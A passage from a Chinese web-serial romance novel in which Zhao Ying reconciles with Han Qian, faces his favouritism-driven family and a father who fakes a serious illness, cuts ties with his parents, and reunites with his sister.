白天韩谦对赵郢的态度用一句话概括,是“他怎么能这样对他”。 晚上,这句话发生了变化,变成“也许他有自己的苦衷”。 周宁对老板反复无常的心态习以为常,也习惯了韩谦每天因为照顾那只叫“公主”的比格犬在公司发疯,绝望地怒吼说公主又背着他吃屎了。 时间一点点过去,在韩谦不知道第多少次提起赵郢时,周宁小心翼翼地问,您为什么不向前看呢? “我不认为我们结束了。”那时的韩谦说,“只是当时他在气头上,我也在气头上,谁都不肯低头,他甚至还甩了我一巴掌。但要我现在回去找他……我该说什么呢?又该怎么问他?” 赵郢表现得太决绝,他一边期待这是赵郢反常的表现,一边又感到惶恐,害怕一切都是真的。 “如果法律里抛弃也有罪就好了。”韩谦平淡地说,“我不会告他,但我要恨他一辈子。” 周宁简直大开眼界。 这是什么新时代“冷脸洗内裤”? “我帮韩总订过一张去美国的机票,在他母亲Greta Hofmann的墓碑前,他拟定了遗嘱的初稿。” 周宁喝了口咖啡,不动声色地往里头加了一勺糖,“起初遗嘱的内容是,将旧金山的房产无条件赠与您,剩下的捐给慈善机构。后来韩总一次又一次地修改变更,到最后,他决定把所有的财产都留给您。” “去辽西开展公益慈善的第一人选,一开始并不是韩总。是他主动争取了这个机会,尽管被选中的人巴不得拱手相让。”周宁说,“在路上,韩总说等事情结束,他打算回南水找您问个明白。” 结果意外横生,他的遗体先一步落地南水。 “我想说的只有这么多。”周宁看向他,站在旁观者的角度客观地描述了所有赵郢想听的事。 赵郢低头端着咖啡杯,听到他说完,正要开口,却见杯面被一滴水击中,“砰”地一声,泛起一圈扩散的水痕。 “谢谢。” 他抬起头,脸上未有异样:“谢谢你告诉我这些。” 他们在咖啡馆门口告别,临走前,周宁脚步一顿,“赵先生,不管怎么样,还是祝您幸福。” 盛夏的日光倾洒下来,落了人满身。 赵郢被阳光晃了眼,说道:“会的。你也是。” 周宁点点头,转身离开。 宠物用品店在这条街的尽头,赵郢向前走了一阵子,没多久,看到以相反朝他走来的韩谦。 这人手里提着购物袋,脑袋上严严实实地罩着一顶棒球帽,在人群中仿佛一座行走的灯塔,非常有辨识度。 “周宁没骂我吧。”韩谦空闲的那只手滑进赵郢的指缝,相交处卯榫似的严丝合缝。 “我觉得那是夸赞。”赵郢说。 走了一小段,他把手从韩谦掌心抽走,在对方惊讶而不满的视线中,赵郢将那枚擦拭得干干净净的婚戒套在韩谦指根,再若无其事地牵回去。 “这是什么意思。” 赵郢有些语塞,“不问我哪天去民政局登记?” 韩谦卡壳地问:“哪、哪天?” “明天。” 第33章 第 33 章 “这跟你没关系。”…… 赵郢忘了, 第二天是周日,民政局的工作人员不上班。 他把领证日期改到周一,却又因为一些令人不悦的意外, 两人双双被困在家里—— 年满十八,刚结束高考的赵宝瑞突然来访。 那天韩谦先赵郢一步醒来,绕过散落满地的衣裤, 他走到客厅打算做两人份的早餐。但储存在冰箱里的生活物资早在前一天消耗殆尽,赵郢忘了, 他也忘了。 没办法, 韩谦只得打开手机叫外卖。 饿了么在付款后显示外卖四十分钟后送达,可门铃不到二十分钟就被人摁响了, 韩谦睡眼惺忪地过去开门, 一堵墙似的站在门口。 他打了个哈欠, 伸出手:“手机尾号6810,姓韩, 谢了。” 外卖员一句话不说,右手伸了半天也没拿到东西, 韩谦眨了眨眼, 视线从平齐的角度缓缓下降, 落在一个比他矮了十几公分的男孩身上。 男生一身潮牌,脚上踩着一双价格不菲造型抽象的巴黎世家, 非主流黄毛的根部已经掉成最原始的黑色。 细长的眼睛把韩谦上下打量了一番,褪色小黄毛后退一步看看门牌号, 再看看韩谦:“这是赵郢住的地方吗?” 青春期的男生嗓音都不怎么好听, 韩谦渐渐拧住眉毛,在小黄毛还没完全张开的眉眼间辨认出几分与赵郢相似,又差了十万八千里的熟悉感觉。 “是。”他双手抱臂, 像凶神恶煞的门神,“你谁?” 小黄毛得到答案,气场顿时伟岸起来,腰杆挺得笔直,斜着眼扫向韩谦:“我是赵郢他弟,亲的。我哥人在哪?把他叫出来。” 他这话说的就像入室抢劫的劫匪,一边拿着刀子翻箱倒柜,一边对主人说“去给我炒几个菜”。 韩谦从头到脚就写了两个字: 不爽。 他一句“赵郢还没睡醒,小点声”还没来得及说出口,黄毛低头穿过他腋下的空隙,大摇大摆地走进客厅,也不脱鞋,高高喊了几声“哥”。 韩谦反手把门甩上,面无表情地活动着肩颈与关节。这些天他在赵郢家附近的健身房办了卡,每天规律健身,正愁无处发挥。 即将一个擒拿制服这小黄毛的时候,卧室传来轻微的动静,赵郢穿着一件比他的尺码宽松好些的T恤出来,脖子一片“蚊子包”。 “睡昏了,竟然听到赵宝瑞的声音……” 赵郢看到客厅里多出来的那个人,话音一顿,“你怎么来了?” “爸妈叫我高考完来南水找你。”赵宝瑞不是瞎子,谈过的女朋友两只手都数不完,一看就知道他领口是什么痕迹,“哥,你又谈男朋友了?这是新的还是之前那个?别怪我没提醒你,爸妈知道肯定不会答应的,趁早分了算了。” 赵宝瑞像进了自家门,一点也不见外地倒向沙发,然后“嘁”了一声,把原本就在这个位置的公主赶了下去。 什么新的旧的乱七八糟的,韩谦带着怒气朝赵郢挑了挑眉,碍于这是赵郢的家人、亲弟弟,他将一口流利的中英双语闷于胸口,一言不发。 “这跟你没关系。”赵郢说。 他对赵宝瑞的记忆还停留在需要自己帮忙换尿布的小时候,那时赵父赵母白天都出门打工,经常凌晨才回家,照顾小孩的重担自然而然落到他和赵莱肩上。 两个牙都没换齐的小学生,还要手忙脚乱地冲奶粉、拍奶嗝、哄哇哇大哭的婴儿睡觉,说出去恐怕没一个人会信。 但这样的生活,赵郢和赵莱过了好几年。 由于长期缺乏睡眠,他两不约而同地在课上打瞌睡。赵郢倒还好,他成绩优异,常年垄断年级第一,各科老师睁一只眼闭一只眼就过去了。 而赵莱不同,她成绩顶多中等偏上,且偏科严重,只有数学老师会装没看见地放她一马。 低年级放得早,有一次赵郢没在班外见到赵莱的人,急得把整栋楼翻了个遍,最后碰到和赵莱同班的女生,说她躲在女厕所不肯出来。 乡镇小学也有生理教育课,赵郢没有横冲直撞地进去捞人,他等在门口好一阵,哄了半小时,终于把赵莱哄出来。 “跟哥回家。”赵郢想牵她的手。 赵莱一反常态的激动,尖叫道:“不要,我不要回家,那不是我的家!” “什么不是你的家?”赵郢不解道,“你今天怎么了?” 赵莱倔强地咬着嘴巴,半晌,眼泪大颗大颗地往下掉:“那是赵宝瑞一个人的家。” 她把赵郢也排除在外了。 “为什么这么说?”赵郢还是没懂。 他的妹妹有着超乎年龄的敏锐,假如要用到比喻的手法,他心想赵莱或许是一只郁郁寡欢的松鼠。 在此之前赵莱是很愿意与他分享自己的心事的,比如某天她做出来了一道全班只有她答案正确的数学题,又比如她忘记带红领巾,把红手套塞进衣服里做伪装蒙混过关。 这次赵莱却变得很不情不愿,梗着脖子不看他。 “你今天不想那么早回去的话,我陪你在学校多待一会儿好了。” 赵郢忘了说,其实他也不是很想回家。 “哥。”赵莱忽然叫了他一声,“爸妈夜里说的话,我都听到了。” 她声音放缓,这是在模仿赵母的语气:“宝瑞这个名字取得真好,大师说‘宝’和‘瑞’都有吉祥的意思,多亏你有先见之明,把老二的名字改成了‘莱’。” “来宝,宝来,有了老二才有我们小宝呀……” 赵莱变了语气,压低声线:“算命的说老大是咱们家的招财树,他算得还真挺准。你看老大,不用我们操心成绩就这么好,将来肯定能发大财,养活我们一家人!” 赵郢读懂了她眼神背后的含义,有限的年龄与知识储备让他无法准确表达出内心的想法,他只知道这和课本教的不一样。 “这是赵宝瑞的家,不是我们的。” 赵郢的校服袖口被一只小小的手拉住,赵莱轻轻的那一声“哥”横跨十多年光阴,回响在三十岁的他耳边。 他重新看向沙发上的不速之客。 “我这没有多余的房间,沙发太窄,也睡不了人。” 赵宝瑞似乎没想到他会这么说,目瞪口呆道:“进来的时候我都看到了,明明那儿有一间客房!” 他跳起来,鞋底在地板留下一串淡淡的痕迹。鞋印蔓延到客房门口,赵宝瑞不服气地说:“这不就是?” 赵郢摁着眉心:“我说了……” “那是给狗住的。”韩谦插嘴道。 进入战斗状态,龇牙咧嘴的比格犬像《狮子王》里被举起的辛巴,韩谦将它托举起来,说:“这是我们公主的房间。是吧,princess?” 公主配合地大声驴叫。 赵宝瑞一而再再而三地被拒,怒气冲冲地往前走了几步,大力拽着赵郢的胳膊:“哥,爸妈说了你得安排我的住宿,我不住你这还能住哪?睡大街吗?” “你撺掇爸投资工厂的事我还没找你算账。”赵郢甩开他的手,淡淡道,“我没有义务承担照看你的责任,赵宝瑞,你今年十八岁,不是八岁也不是八个月,还指望我和你姐给你换尿布吗?” “赵郢!”赵宝瑞直呼他的大名,一副在家称王称霸被惯坏了的模样。 他习惯性地扬起右拳,这时眼角余光瞥见肱二头肌威慑力十足的韩谦,又悻悻地收了回去。 拳头收了,嚣张的态度不减反增。 赵宝瑞定定地盯着韩谦,说:“一年前爸妈来找你,说你谈了个蓝眼睛的外国人,就是他吧?当时你骗他们说你和这个人分手了,结果呢,现在还是跟他住一块……” “哥,你说我该不该把这事告诉爸妈?” 赵郢意味不明地笑了一声:“你威胁我?” “对啊。”赵宝瑞说,“我就是在威胁你。你最好……” “那你去吧。” 赵宝瑞的声音戛然而止。 赵郢找了个地方坐下,朝韩谦打了个要喝水的手势,不疾不徐道:“你去和爸妈说,去年他们在我家看到的人因为一场意外事故死了,我贼心不死,又睡了那个人的哥哥。” “你还可以告诉爸妈,我辞职了,不急着找下一份工作,今年以及往后几年的汇款可能没办法到账。还完房贷,我手头只剩十万不到。” 赵宝瑞大叫道:“不可能!” “你是为了骗我,不想给爸妈钱才这么说的,你压根没有辞职对不对!” 见赵郢一动不动,他逐渐慌了神。 不对不对,这不可能,赵宝瑞坚信他哥不可能辞职。 赵郢如何发奋图强,如何悬梁刺股考上南水最好的大学的故事,他从小到大听得耳根子起茧。赵郢拼了命走到今天,有了安家之所,有了稳定的工作和高昂的薪资,他怎么会放弃好不容易得来的这一切? “不管你信不信,事实就是事实,不可能更改。” 赵郢说:“爸妈想让你报考南水市的大学,然后住在我家对吗?我卡里就剩这么多钱,不可能同时供养两个人。” “除非我们一起喝西北风。” 赵宝瑞反应极快:“谁要和你一起喝西北风!” “那你问问爸妈吧。”赵郢轻轻道,“这些年我给他们转了很多,抛开日常开支,剩下的积蓄也足够付完你大学四年的学费了。” “如果不够,你应该问问爸妈,钱都去哪了呢?” 第34章 第 34 章 没了老婆的男人每天都有…… 赵宝瑞答不上来。 因为他心虚。 赵父赵母向来对他毫不吝啬, 今天买双新鞋,明天给游戏充钱,几千上万的转账, 赵郢的汇款能有多少结余? 更不提十几年为赵宝瑞闯的祸赔礼道歉的钱。 “我怎、怎么知道爸妈的钱在哪?” 赵宝瑞瞪着赵郢,牙齿咬得咯咯响:“你等着,我这就回去把你说的这些话讲给爸妈听!” 赵郢点点头, 接过韩谦递来的水杯,抿一口润润嘴唇。 多大了还学小孩子告状, 幼不幼稚? 赵宝瑞恼羞成怒地离开后, 韩谦抱着狗坐到赵郢身旁,复杂道:“你弟真是亲生的?” 赵郢瞥了他一眼, “我也希望他不是亲生的。” 但赵宝瑞是他亲弟弟这件事, 比真金还真。 这是他和赵莱在产房外守了一整晚等来的人, 但事实证明,不是每个人都值得那一份期待。 赵宝瑞是, 赵父赵母也是。 “赵郢,你之前一直没提过, 你的家庭是这样的。”韩谦把公主的前爪捏在手中, 摇了摇。 天知道公主的爪子刨过什么东西, 赵郢示意他将怀里的比格犬“放生”,有些疲惫地闭着眼:“没什么好说的。” “幸好昨天民政局不开门。”他过了很久说道。 韩谦一个激灵, 侧身道:“你说清楚,这又是什么意思?” 他小时候在片场耳濡目染, 所以每个表情做起来都格外生动。 赵宝瑞的到来让他隐隐意会到了赵郢无故离婚的真正原因, 但韩谦没有百分之百的把握,他就像一个抓捕透明人嫌犯的侦探,只能以旁敲侧击的方式一点点打磨出真相。 “婚姻的真谛是同甘共苦。”韩谦说, “for better for worse, for richer for poorer, in sickness and in health。赵郢,你怎么不记得了?” 赵郢一时间哑口无言。 他忘了韩谦是一个无比赤诚的人,犹如刚诞生于世的孩童,在他眼里,风就是风,云就是云,誓言就是誓言。 既然说了无论贫穷富有、生老病死,就一定忠诚地遵守。 他悲观地以为人都有劣根性,但时间证明了韩谦的一诺千金。 但说到底,当年是他不相信韩谦,也不相信自己。 “对不起。”赵郢在沉默中开口。 韩谦撇撇嘴:“都说了我不喜欢听你说对不起。” “赵郢,都过去了,旧事不重提。” 韩谦还想继续发表有关婚姻的长篇大论,不料门铃再次响起,这回站在门外的是正牌外卖小哥。 “买了什么吃的?”赵郢问道。 “小米粥配下饭萝卜干,你的。”韩谦将其中一个袋子放到他面前,另一只手拎着印了金拱门经典标志的环保纸袋,“麦当劳早餐三件套,我的。” 赵郢解着塑料袋提手的结,手腕一僵,皱眉:“你怎么不喝粥?” 韩谦一愣:“我又不需要清淡饮食。” 他想了想,说:“这不是怕你拉肚子吗?昨晚没戴套,都弄进去了。你想和我换也可以,那你吃麦当劳,我喝粥……” “不用。”赵郢冷漠打断,脸色青一阵红一阵,“吃你的三件套去吧。” 韩谦举起双手表示遵命。 晚上赵郢呆在客厅,手机后台挂着三个售房APP,他已经联系了几个中介下周来看看房子的情况。 赵宝瑞从南水到家至少得半天,他有想过收拾两个行李箱出来,和韩谦暂时住进酒店避风头,但一味的躲避解决不了任何问题。 有些事情,有些疑惑积压在他心里太多年,他想亲口听到答案。 赵郢发呆的时候,韩谦就像一个开启自动循环模式的npc,走过来走过去、走过去走过来,却始终没有上前靠近赵郢。 “你身上长虱子了?”赵郢分给他一点眼神。 韩谦徘徊的动作猛然停顿,然后在沙发另一半躺下来,后脑勺枕着赵郢的大腿:“我刚刚是在观察你,谁长虱子了?” “要是你再一动不动没有反应,我会觉得你被化石精附身了。” 赵郢的大腿是他全身唯二肉比较多的地方,韩谦翻了个身,鼻尖埋在他腰腹的布料里,贪婪地做了几个深呼吸。 这很变态了。 然而被吸来吸去的对象并没有发现异样,赵郢两只手自然地垂放在腿间,指尖与一片发质略硬的头发接壤。 他手指插进韩谦发根,模拟着摸狗的手势,深深浅浅地薅着这人的棕毛。 这种感觉十分解压、赵郢喟叹一声,把这些天的考量说给他听:“我打算把这套房子卖掉。” “别扯,疼……”韩谦抓住他的手,须臾反应过来,“为什么突然卖房子?你想离开南水?” “差不多。” 赵郢说:“但不急,也许是在所有事情都解决完以后。” 他改为捧着韩谦的脸,指节掠过两片形状漂亮的薄唇,无意识地摩挲着:“赵莱说我私下过于优柔寡断,好像真的是这样。可能我早就明白我爸妈不爱我,只是承认这个真相的代价比装糊涂惨烈的多,所以我才努力地装作什么都不知道,让日子糊涂一天是一天。” “赵莱不想这么糊涂地活着,于是她披荆斩棘地走了。我走不了,是因为还有东西割舍不下,我没办法完成最终的切割。” “你不是完成不了,赵郢。”韩谦把他的手指抿住一小截,装凶地咬了一口。 他在指腹上留下自己的牙印,说道:“我说过的,你是一直都不肯放过自己,一定要用你的自由换小妹的自由,一定要把你的意愿强加在我身上。可没人需要你拯救,最应该被拯救的是你自己才对。” 赵郢眼眶有些酸软,他抬起头将目光投向远处的某一点,希望能通过远眺让眼泪逆流,有人却偏偏不如他愿,一边把他指尖咬得发痛,一边和他说“赵郢,看着我”。 他眼睫垂落的那一刻,两滴透明的水滴一快一慢地砸中韩谦的鼻梁,结束了不怎么出彩的双人大跳水。 “世界上不是每个父母都爱自己的小孩,我很早就意识到这一点了。你看,乔彬程不就是很好的例子?” 韩谦一只手抬高,揩了揩赵郢湿润的眼角,带着他独有的,近乎纯粹的乐观:“既然这份感情无法从父母身上获取,为什么还要耗在这个死胡同里?这个世界上又不是没有别的人爱你,小妹爱你、公主爱你……我也爱你。” 赵郢被他逗笑,说:“公主只是一只小狗,你怎么知道它爱我?” “爱屋及乌。” 随后韩谦迟疑地问,“这个成语是这么用吧?” 赵郢答道:“是。” 公主爱韩谦,韩谦爱他,由“爱屋及乌原理”可得,公主也爱他。 “卖了房想要去哪?”韩谦接着问。 关于离职后的一系列计划,赵郢很早便搭建出简单的框架。大的分支被他铭记了无数遍,以至于他可以脱口而出,说他想陪韩谦回洛杉矶看看。 “还没有见过你妈妈,这次刚好可以和她打声招呼。”赵郢轻声说。 韩谦语气严厉:“注意措辞!” “是‘咱妈’。” 赵郢:“……” 行行行,咱妈。 “再然后落实一下我们的年假旅行。” 翻开备忘录,他一年前建了一个单独的文件夹,存放着韩谦提到过的所有地方。 什么去特罗姆瑟追鲸群、到非洲看动物大迁徙,还有在北海道滑雪等等之类的东西。 文件夹包含了十几个单独的备忘录界面,赵郢忙里偷闲的时候会上网搜搜机票与相关信息,哪怕后来两人离婚,也没见他把这个占了不少内存的文件夹删掉。 “你不说我都差点忘了。” 韩谦从他腿上爬起来,一头棕发被赵郢揉开了揉乱了,仿佛一个粗制滥造的鸟窝,但天塌下来了都有他这张脸顶着,总归丑不到哪去。 “其实我这一年还加了好些新计划,表格在周宁那儿——是他帮忙做的归类。”他回忆了一下,说道,“总体新增了三十多个想去的地方吧,你知道的,没了老婆的男人每天都有很多心事……” 赵郢:? 第35章 第 35 章 他和赵郢可是合法婚姻!…… 赵宝瑞夺门而出的第二天, 赵父赵母双双出现在赵郢的家门口,在早上八点准时按响门铃。 赵郢被“心事重重”的韩谦传染,几乎一整晚没睡。左手的玻璃烟灰缸堆着几个东倒西歪的烟头, 他掐灭正在抽的那根,望向神态各异的两人:“爸,妈。” “进来坐。”他侧身让开。 赵宝瑞走在赵父赵母身后, 狐假虎威地昂着脖子,笑容很得意, 就差把“你完蛋了”写脸上。 韩谦还在睡觉, 所以赵郢把声音压得很低:“不出意外,弟弟应该把我要说的话带到了。” 赵父像一根被点燃的引线, 屁股刚挨着沙发垫, 忽而又“刷”地一下站起来。他背部微微弯曲, 怒不可遏地瞪着赵郢:“混账!不孝子!” “我和你妈辛辛苦苦把你培养成才,你呢, 你就是这么报答我们的吗?”赵父指着他的鼻子骂,不标准的普通话中夹杂着一丝乡音。 赵郢默然, 看向站在一旁的赵母, 而后在她眼中看到了与赵父无异的失望神情。 她鼻翼两侧的法令纹很深, 整张脸的肌肉是向下的走势,赵郢没有忘记她这么多年有多劳累。 可是他也很辛苦, 赵郢心想。 赵郢有时也会产生“好像考一个好大学、找一份好工作没那么难”的想法,但下一秒又胆战心惊地把这个念头打消。 怎么不难?怎么不痛苦? 人的大脑有保护机制, 那些苦涩的部分只是被他下意识遗忘了而已。 “这是要我偿还给你们的意思吗?”他问道, “一百万,一千万,还是我亲手把我的骨头剔出来, 再把剩下的血肉一斤斤称好帮你们装起来?” “赵郢!” 赵母终于从她那副或哀怨或哭泣的躯壳里脱离出来,一巴掌挥在赵郢侧脸。 赵郢被她打得脑袋一偏。 嘴巴泛起一股血腥味,仿佛口腔内壁被牙齿划破,撕开了一个不大的血口。他感受不到痛,伸手摸了摸迅速红肿的嘴角。 “老大,你想逼死我们吗?”赵母拽着他的领口质问道,“你难道希望我和你爸死在你面前吗?” 又来了。 赵郢平静地看着她,“妈,不是我想逼死你们。” “……是你们想逼死我。” “如果我没有成为你们期待的模样呢?如果‘赵郢’没有天分,从头到脚只是一个普通平庸的人,考不上大学甚至连高中都读不了呢?” 他笑着说道:“其实我现在也没什么了不起的,三十岁裸辞,还是个喜欢男人的同性恋——天生的,改不了。” 赵父被他坦然的态度气得怒然抬手,赵郢不准备躲,甚至连眼睛都闭上了,但痛感却迟迟没有降落。 他将眼睛睁开,韩谦单臂搂着昨晚睡在房间的公主,另一只手挡住赵父的手腕,全身就穿了条灰色的宽松休闲裤。 赵郢在他前胸后背挠出来的印子至今没消,有几条还很鲜艳。 赵父颤抖地指着赵郢:“你、你……你还要不要脸?我和你妈的脸都快被你丢尽了!” “不是,叔叔。”韩谦睡醒没多久,夹杂着几分困顿,“这有什么不要脸的?” 他和赵郢可是合法婚姻,合法恋爱,合法同居! “你给我闭嘴!” 赵父呼吸声逐渐加粗,宛如故障失灵的散热器,喉咙里传出“嗬嗬”的杂音。紧接着伴随着赵母的一声惊呼,他眼白一翻,朝后仰倒下去。 赵郢的父母将近六十,已经到了出门被路人让座的年纪。两人各自都有些基础病,尤其是赵母,因为当初生赵郢的时候产后大出血落下病根,医院去得最勤。 赵父则是心脏方面的毛病,外加老年人常见的骨质疏松,保险起见,赵郢最终叫了救护车。 目送赵母和赵宝瑞陪同着坐进车内,赵郢点了根烟,联系中介把看房日提前到今天。 “我们不用跟着吗?”韩谦问他。 赵郢:“现在不用。到时候我一个人去医院就行,你在家等中介上门。” 韩谦眼底闪过一丝迟疑:“你一个人?” “嗯。”赵郢弹掉烟灰,“这件事我必须独自处理,任何人都不能干涉。” 他得给自己一个交代。 下午四点,开车去医院的路上,赵郢接到赵莱的电话。 交通高峰期一路红闪,赵莱的声音被断断续续地拦截,赵郢听了个大概,只知道她目前人在南水。 为了防止赵莱扑空,他把医院的地址发过去。 一小时后,赵郢从拥堵路段解放,将车停进医院停车场,然后与坐地铁赶来的赵莱相逢在住院部楼下。 “你怎么回来了?” 赵莱推了推架在鼻梁的墨镜,短袖衬衫的衣角被什么东西蹭了一下,留下一块灰扑扑的印子。 她一副风尘仆仆的样子,头发来不及梳,用鲨鱼夹挽了个乱七八糟的发髻。赵莱无语地翻了个白眼:“怕你剪不断理还乱,特地帮你扫清障碍。” “还有。昨天妈托了十几层关系,硬是找到了我的新手机号,一个电话打过来哭着说你把工作辞了,还把赵宝瑞赶出家门,不认他这个弟弟。” 赵莱竖起大拇指:“可以啊赵郢,第一次这么有种。” “……” 赵郢有些哭笑不得,“妈的话多少有点夸张成分,我没那么说。” 他又补充道:“但工作是真的辞了。” “傻啊你?“赵莱没大没小地拍了下他的后背,食指把镜框微微下压,露出上眼睑,“干到这份上了辞什么辞?你那直系上司不都快退休回家种菜种花了吗?你又不像我,因为不想被爸妈找到才像个流浪汉一样东躲西藏……” 她说着说着忽然睁大眼睛,“等等,你……决定了?” 赵郢点点头:“决定了。” “我离开南水之后不会再回来,至于爸妈,我前几年给他们两个人都买了一份保险,这些年打到爸妈账户的汇款少说也有两百多万,也够了。” 他说道:“这笔钱还剩多少是他们的事,我不可能再亡羊补牢。” 赵莱微微张开嘴,说:“你还是我哥吗?” 这么果决,赵郢接受了哪位名师辅导? 赵郢:“那我是你祖宗行不行?” “禁止超级加倍。”赵莱抗拒道。 两人一齐上楼,病房外,清醒过来的赵父与医生护士交涉的话音传入赵郢耳中,大致意思是拜托医生把他的情况说得严重些,越严重越好。 “生病不是儿戏!我们这里是医院,不是电影院,一切诊断结果必须根据实际情况来,绝对不可能有任何胡编乱造的成分,您就算投诉我我也不答应!” “……我哪里叫你胡编乱造啦?就配合一下,口头配合,一会儿等我大儿子来了,告诉他我病得好严重,不能动气,他必须得听我的找一个正儿八经的女娃结婚,再想办法把工作找回来。就这么说,行不行啊医生?” “这位大爷,您别为难我了!” 医生在查房记录上写了两笔,严肃道:“结婚生子又不是什么天大的神药,不能治病,更何况您的检查报告一切正常,晕倒大概是早上没吃饭,有轻微低血糖,以后注意带些甜食在身上应急。” 赵莱听到“低血糖”三个字不禁笑出声,她对赵郢做口型:“看吧,我说什么来着。” “你们是一号床病人的家属吗?”医生带着两个实习生走出病房,正好与他们撞了个正着。 “没错。”赵郢说。 “今天别忘了到门诊部拿药。” 医生这一嗓子洪亮清晰,赵郢本想在病房外多待一会儿,这下不得不进去了。 病床上的赵父合衣侧躺,赵母沉默不语,赵宝瑞眼神躲闪,看见赵莱的一瞬间脸色有点僵,尴尬地扯了扯嘴角。 “你还知道来看我们一眼!”赵父瞥了眼赵莱,鼻腔发出一声哼响。 “我晚来一步,您就发展成癌症晚期了,可不得过来瞧瞧吗。” 赵父气喘吁吁,又开始颤抖起来。 “爸,既然您没事,那我也没什么顾忌了。”赵郢没什么表情,“我和二妹不会在南水久待,您以后大概也联系不上我们——” “老大!” 赵母厉声打断道:“你这是什么话?你想跟我们断绝关系吗?” “差不多吧。”赵郢说。 “生养之恩是我欠您的,我还不了,但该给的钱,这八年我也没有少过一分。一开始我答应您,说会承担赵宝瑞上大学的一切费用,现在我反悔了。” 他扶着床边的防护栏,指节有一下没一下地轻轻叩击:“赵宝瑞是您的孩子,不是我的,我对他没有直接的抚养义务。更何况,您就算不说我和小妹也明白,我们不是你们真正想要的孩子。” “其实我一直有个疑问,想了二十多年也没想出答案——为什么你们这么偏爱弟弟呢?小妹也是你们亲生的,也是妈十月怀胎生下来的骨血,她究竟哪一点不如赵宝瑞?” 赵郢直视赵母的眼睛,冷冷道:“你们无条件地纵容赵宝瑞,连名字都取的是最好的寓意,但有没有想过,他到底配不配得上这么好的名字,配不配得上你们宁可牺牲我和小妹,也要拿给他的全部?” “我觉得是不配的。”他最后说。 赵父张了张嘴,愣愣地:“你这个混……” “对,我混账,我不孝。”赵郢接着他的话说下去,“我对不起你和妈,不得好死。还有别的什么要说吗,爸?” 无人回答。 他捡起桌上那张开药的单子,半晌,把它放回原位:“医生提醒我记得缴费,您让赵宝瑞去吧。以后这个家,他就是你们唯一的儿子了。” 赵郢拍掉赵莱衣角的灰尘,轻声:“我们走吧。” 第36章 第 36 章 这个乌龙不解开也好。…… 赵莱坐进车里, 一句惊叹脱口而出,语气恰似她最近翻出来重温的某部台剧: “……不敢相信。” 赵郢将轿车发动,赵莱依旧直勾勾地凝视着他的侧脸, 又说道:“不敢相信。” 踩住油门,雷克萨斯通过医院的直竿道闸,缓缓驶入正道。 赵郢专心开车, 眼见赵莱像个复读机,“不敢相信”的不字已作为开头在唇齿间冒了个头, 他即刻腾出一只手按住赵莱的脑袋, 在她脑门上敲一记爆栗。 “闭嘴。” 赵莱抿抿唇,想到他哥二十分钟前毫不留情的决绝, 还是屈服于赵郢的淫威下, 乖乖闭了嘴。 等红绿灯的关头, 赵郢降下车窗,带着热意的夏风将那枚缠绕在后视镜上透白玛瑙的穗子吹得微微晃动。 玛瑙正面刻的是平安, 背后雕了些古朴的纹样,是赵郢前不久在一家古玩店淘的。也不贵, 一百来块钱。 “你这次来没带行李箱?”赵郢把吹乱的穗子拨顺。 赵郢车上的空调开关被她打开, 六月初是有一些热的, 赵莱是多汗怕热体质,凉风呼呼朝她面上吹。 “放酒店了。”她报了一个地址, 位于南水市中心,五星级酒店。 “订了几晚?” 赵莱比了个三。 赵郢手指摩挲着方向盘, 思忖片刻, 说道:“那你先跟着我回家,我这边还有好多东西要收拾,搬家得速战速决, 收拾好的行李暂时放你那儿。” “行。”赵莱没什么意见。 她在医院是紧绷的,此刻却又松散下来,早在上车前就散开被鲨鱼夹固定的头发,鬓边的碎发被风吹得像剪短的风筝线。 赵郢望着她的表情,恍惚间仿佛看到他们年少时的场景。 家乡的村子临近一条小河,他和赵莱上学要跨过这条河,到乡镇上去。 小妹会精挑细选地捡一路的石头,要扁的、薄的、形状圆润的,塞进书包里,放学后路过小河时,再用这些石头片打水漂。 一连串的砰砰声像大大小小的鼓点,石头借着她的力,好似短暂地获得了生命,蹦跳着跃往水流的前方。 向前,一直向前,哪怕最终没入水底,也能随着涓涓不息的细水日复一日地移动着轨迹。 那时的赵莱看到的是她不可预测的未来,而此时的赵郢,看到了他近在咫尺的自由。 赵莱说过,交了男朋友务必告知她。 绿灯亮了,赵郢开口道:“有个人,我想介绍你认识。” 赵郢说的“这个人”在同一时间午觉睡醒,正百般无聊地盘腿坐在沙发上,揪着藏在公主屁股蛋里早已掉落的浮毛。 比格在狗界是细软塌发质,皮毛油光水滑的,不怎么蓬松,韩谦揪半天也只揪下来廖廖几根。 公主对此行为极度不满,鄙夷地回过头,朝韩谦小声驴叫。 比格自以为将主人周围的空气吃抹干净时,玄关传来解开密码锁的声音。 韩谦连拖鞋都穿反,忙从沙发上下来,两三秒飞到门口处等待,结果第一个看到的不是他心心念念的赵郢的脸,而是见到他的那一瞬,吓成表情包的赵莱。 “哥!哥!” 赵莱被这一幕刺激得灵魂出窍,人在极端害怕的情况下,腿是软的,嗓子是哑的,叫也是叫不出来的。 她只觉得自己在表演默剧,“大白天的活见鬼了,赵郢你掐我一把,让我感受一下我现在是死是活……” 赵郢说:“不用掐,活的。” “真的吗?”赵莱声线虚弱,韩谦以及那只没见过的比格犬在她眼中化身黑白无常,仿佛凶神恶煞地索她的命,“那就是韩谦起尸了,从坟里爬出来了!” 赵莱顿了顿,对着韩谦“咦”了一声:“但你不都火化了吗?骨头渣子也能起尸?” 韩谦:“……” 你礼貌吗。 赵郢把脸色逐渐恢复的赵莱推进屋,弯腰在鞋柜翻找一会儿,然后将一双新拖鞋放到她脚边。 同时他解释说:“他不是韩谦,是韩谦表哥。毕竟人死不能复生,他两只是长得有点像而已。” 这套说辞很有说服力。 赵莱一下就信了,但冲着这张和韩谦一模一样的脸还是有些发怵,弱声说:“赵郢,这哪里是‘有点‘,这位表哥完全就长着一张韩谦的脸好吗。” 说完,她朝韩谦伸出一只手:“不好意思,刚刚是我太大惊小怪了。对了,你会说中文吗?” 韩谦求助地看向赵郢,赵郢点点头,示意他说几句。 于是他板着脸,一字一句道:“会一点。” “Unbelievable.”赵莱惊叹道。 “哥你看,连声音都像同一个人!” 韩谦:“……” 赵郢:“……” “你是不是没吃午饭?”赵郢一边说一边进厨房,戴上挂脖围裙,“冰箱有速冻水饺,还是老样子,煮十二个?” 赵莱中午不是没吃饭,是只吃了一点垫肚子。那么小的量,说不定一小时不到就被她消化完了。 她走到餐桌边坐下,双手抻直,趴在桌面做了个拉伸:“要十八个,谢谢。” 赵郢借机对韩谦打手势,叫他进卧室躲躲。 煮水饺的那一锅水慢慢变得浑浊,很快水面浮上十来个圆滚滚的白皮水饺,透出一点近看才明显的淡粉色虾仁饺子馅。 赵郢将它们一一捞起来,酱油陈醋蒜末老干妈照感觉配比一通,给赵莱调了碗蘸料。 